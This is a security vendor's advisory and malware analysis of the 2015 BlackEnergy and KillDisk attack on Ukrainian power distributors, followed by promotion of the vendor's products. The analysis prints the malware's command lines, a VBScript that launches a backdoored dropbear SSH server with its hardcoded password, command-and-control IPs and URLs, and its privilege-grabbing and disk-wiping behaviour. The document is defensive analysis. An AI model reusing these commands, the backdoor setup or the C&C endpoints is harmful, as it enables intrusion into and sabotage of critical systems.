In December 2015, a power outage occurred in Ukraine as a result of a cyberattack, causing a great panic. This document analyzes and verifies the attack event-related information and core samples, and provides a solution accordingly.
On January 4, 2016, experts at ESET discovered a new component, KillDisk, in the devices of multiple electricity distribution companies in Ukraine. Therefore, they suspected that the BlackEnergy trojan was exploited by attackers to remotely access and control the power control system. This attack was against the critical power equipment, which is of great significance to national infrastructure security. Therefore, this posed great security risks to national key infrastructure.
This attack was mainly against Ukraine electrical departments. Attackers executed trojans and installed SSH backdoors by sending phishing emails with a trojan XLS attachment and tricking users into opening the attachment. In this way, attackers could send industrial control commands to the target and execute KillDisk to compromise the system and prolong the system recovery time.
In this attack event, the BlackEnergy trojan was used to compromise the electrical devices or place a backdoor for attackers to remotely control electrical devices and launch attacks. The hazards are as follows:
The trojan is more powerful. Since it was first developed in 2007, the BlackEnergy trojan was frequently upgraded to carry out more sophisticated tasks.
China’s electrical devices are possibly attacked.
The reason why this attack occurred is that a great number of electric power facilities outside China are connected to the Internet. Therefore, attackers could hack into the system and launch attacks by tricking workers into opening a crafted email. In contrast, a majority of Chinese industrial control facilities and related business systems have adopted private networks or are isolated from the Internet, which prevents the occurrence of such attacks to some extent. However, according to NSFOCUS’s years of researches on industrial control security, mobile storage devices tend to be a means can be easily exploited for trojan intrusion. After the BlackEnergy trojan infects the business system and devices in this way, it is totally possible for an attacker to launch attacks against the industrial control system by using an implant, such as KillDisk, to compromise hosts. If the industrial control system fails to read the configurations during the restart, the entire system will break down.
In this attack, attackers used social engineering to spread the trojan by sending trojan-embedded XLS files. They executed the trojan and installed SSH backdoors to ensure that the infected host can be controlled for a long time. Attackers sent industrial control commands to the target and, when necessary, executed KillDisk to destroy the system and delay the system recovery.
Based on the analysis conducted by its industrial control security experts, NSFOCUS has provided a suite of solutions for customers to cope with the attack, thereby avoiding more risks and losses. The solution consists of the following:
On January 16, 2016, NSFOCUS Network Intrusion Prevention System (NIPS) released the rule upgrade package for V5.6.7, V5.6.8, and V5.6.9. Real-time protection will be available immediately after upgrade.
Upgrade Method
NSFOCUS has provided rule update packages in the software upgrade bulletin. The rule database can be updated online through the web-based manager. If you cannot install the rule update package online, you can find and download the rule update package corresponding to your product from the software upgrade web page, and upgrade the rule database offline. For upgrade information, please visit:
NSFOCUS Remote Security Assessment System (RSAS) provides self-service scan service based on NSFOCUS Cloud. Users can perform regular checks by using the asset management function, so as to identify security risks and detect vulnerabilities in routers and switches.
You can access the self-service scan system by clicking the following link and then apply for the trial use of the service:
To prevent attacks by sending spoofing emails, you can click the following link to apply for the trial use of the anti-spam service to comprehensively protect your email system.
1) NSFOCUS engineers provide onsite detection service.
2) You can use NSFOCUS Industrial Control Systems Vulnerability Scanning System (ICSScan) to check vulnerabilities in hosts regularly.
1) Short-term service: NSFOCUS engineers provide the onsite trojan backdoor cleaning service (manual services, NIPS, and TAC). This service can immediately eliminate risk points within the network, control the impact, and provide an analysis report.
2) Mid-term service: NSFOCUS provides risk monitoring and preventive maintenance inspection (PMI) services for 3–6 months (NIPS, TAC, and manual services). This service can eradicate risks and make sure that the event does not recur.
3) Long-term service: NSFOCUS provides risk solutions for the energy sector (threat intelligence, attack tracing, professional security services, and industrial control solutions).
1) Suggestions for protecting industrial control hosts
2) Suggestions for protecting industrial control networks
3) Management suggestions
NSFOCUS provides a solution for the attack event. Furthermore, to help users have a good understanding of this attack event, NSFOCUS industrial control security experts, together with technical experts from NSFOCUS TRC, conduct an in-depth analysis of the trojan involved in the attack event.
This is a compound sample which includes multiple files. NSFOCUS engineers simulate the analysis as follows.
The following figure shows the execution architecture of the sample.
This is a compound sample which includes multiple files.
MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732
Main function: It releases and executes the file C:\Users\Dell\AppData\Local\Temp\vba_macro.exe.
MD5: abeab18ebae2c3e445699d256d5f5fb1
MD5: cdfb4cda9144d01fb26b5449f9d189ff
First it injects code to svchost.exe.
The injected code is to call the iexplore.exe process.
iexplore.exe receives a network request with an invalid address. Therefore, the request fails.
MD5: 1d6d926f9287b4e4cb5bfc271a164f51
The driver file is named C:\Windows\system32\drivers\adpu320.sys (e60854c96fab23f2c857dd6eb745961c). adpu320.sys is generated at random. The driver file is loaded as follows:
1 2 3 4 5 6 |
Use the CreateProcessA function. Use the ModuleFileName = "C:\Windows\system32\cmd.exe" parameter. CommandLine = "/c "ping localhost -n 8 & move /Y "C:\Windows\adpu320s" "C:\Windows\system32 \drivers\adpu320.sys" & ping localhost -n 3 & net start adpu320"" |
The information about the system version and watermark is saved in user32.dll.mui.
1 2 3 4 5 6 7 8 |
Obtaining the file ownership Use the CreateProcessA function. Use the parameter: CommandLine = "C:\Windows\system32\cmd.exe /c C:\Windows\System32\takeown.exe /f "C:\Windows\System32\zh-CN\user32.dll.mui"". Restoring the file ownership Use the CreateProcessA function. Use the parameter: ModuleFileName = NULL 0018EF44 0018EF74 |CommandLine = "C:\Windows\system32\cmd.exe /c "C:\Windows\System32\icacls.exe C:\Windows\System32\zh-CN\user32.dll.mui /grant %username%:F"" |
Injected code can be used as follows:
(1) Connecting the network address 5.9.32.230:443.
(2) Writing data to the file Ntkrnlpa.exe to protect the released driver program.
Figure 8 shows the process of executing the file in NSFOCUS Kingfisher.
Driver files fall into 32-bit files and 64-bit files, with the same execution functions.
Table 2 MD5 values of driver programs
The driver files is mainly used to inject code which communicates with the C&C server.
MD5: fffeaba10fd83c59c28f025c99d063f8
Function: This file is an SSH server program and is modified based on the dropbear code from the existing third-party SSH server. It employs the default password (passDs5Bu9Te7) for login authentication.
This file is started by a section of shell script.
1 2 3 4 |
Set WshShell = CreateObject("WScript.Shell") WshShell.CurrentDirectory = "C:\WINDOWS\TEMP\Dropbear\" WshShell.Run "dropbear.exe -r rsa -d dss -a -p 6789", 0, false |
File 1: 72bd40cd60769baffd412b84acc03372(MD5)
This file is started as a service. It creates the file C:\Windows\svchost.exe, writes its own code to the file C:\Windows\svchost.exe, and then starts the file C:\Windows\svchost.exe as a service. Different parameters can be configured for different functions during the startup.
File 2: 7361b64ddca90a1a1de43185bd509b64(MD5)
This file is mainly used to obtain system privileges and clear system logs. The privileges that can be obtained include the following:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
SE_SECURITY_PRIVILEGE SE_BACKUP_PRIVILEGE SE_RESTORE_PRIVILEGE SE_SYSTEMTIME_PRIVILEGE SE_SHUTDOWN_PRIVILEGE SE_REMOTE_SHUTDOWN_PRIVILEGE SE_TAKE_OWNERSHIP_PRIVILEGE SE_SYSTEM_ENVIRONMENT_PRIVILEGE SE_SYSTEM_PROFILE_PRIVILEGE SE_PROF_SINGLE_PROCESS_PRIVILEGE SE_INC_BASE_PRIORITY_PRIVILEGE SE_CREATE_PAGEFILE_PRIVILEGE SE_INCREASE_QUOTA_PRIVILEGE SE_MANAGE_VOLUME_PRIVILEGE |
File 3: cd1aa880f30f9b8bb6cf4d4f9e41ddf4
This file is mainly used to clear data (numbers from 0 to 10) from the hard disk PhysicalDrive%Num%.
File 4: 66676deaa9dfe98f8497392064aefbab
This file can be used to process various files.
The processes that are terminated are Isass.exe and wininit.exe.
The file lsass.exe is a system process used for Microsoft Windows security mechanism. It is mainly used for local security and login policies.
wininit.exe is used to enable primary Vista Windows 7 and Windows 8 background services, such as Service Central Manager (SCM), Local Security Authority Subsystem (LSASS), and Local Session Manager (LSM.EXE).
Both FONTCACHE.DAT and the driver file inject code to svchost.exe.
The code injected by FONTCACHE.DAT is used for network connection and file download.
The code injected by the driver file is used for communication with the C&C server.
The KillDisk component is started as a service.
The URL for network operations in FONTCACHE.DAT is http://5.149.254.114/Microsoft/Update/KC074913.php. The URL used in Iexplore.exe is http:// 5.9.32.230/Microsoft/Update/KS1945777.php.
Configuring the Internet Explorer registry.
“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Check_Associations” no “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\InformationBar\FirstTime” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\New Windows\PopupMgr” “no” “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled” 0 “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\InternetSettings\Cache\Persistent” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing\WarnOnClose” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TabbedBrowsing\WarnOnCloseAdvanced” 0 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize” 1 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession” 1 “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner” 1
Configuration information of the system registry.
HKEY_LOCAL_MACHINE\Software\MicrosoftSecurity\ConfigFlags
The obtaining of and responding to threat-related intelligence, to some extent, reflect a security vendor’s protection capacity. The threat intelligence service system consists of at least threat monitoring and responding, data analysis and sorting, business intelligence and delivery, risk assessment and consultancy, and security hosting and application, involving the research, products, services, operations, and marketing. NSFOCUS, through an all-round emergency response system covering the research, cloud, products, and services, promptly provides threat intelligence and follow-up services regarding Anonymous attacks for enterprises and organizations, ensuring their business continuity. For any questions or more information, please contact us by searching Sina Weibo or WeChat for NSFOCUS.
NSFOCUS Information Technology Co., Ltd. (NSFOCUS) was founded in April 2000, headquartered in Beijing. With more than 30 branches and subsidiaries at home and abroad, the company provides most competitive security products and solutions for governments, carriers, and financial, energy, Internet, education, and medical sectors, ensuring customers’ business continuity.
Based on years of research in security assurance, NSFOCUS has set foot in network and terminal security, Internet infrastructure security, and compliance and security management. The company provides the intrusion detection/prevention system, anti-DDoS system, remote security assessment system, and web security protection products as well as professional security services for customers.
NSFOCUS Information Technology Co., Ltd. started trading its shares at China’s Nasdaq-style market, ChiNext, in Shenzhen on January 29, 2014, with the name of NSFOCUS and code of 300369.
Chinese version: http://blog.nsfocus.net/ukraine-power-plant-attack-analysis-protection-programs/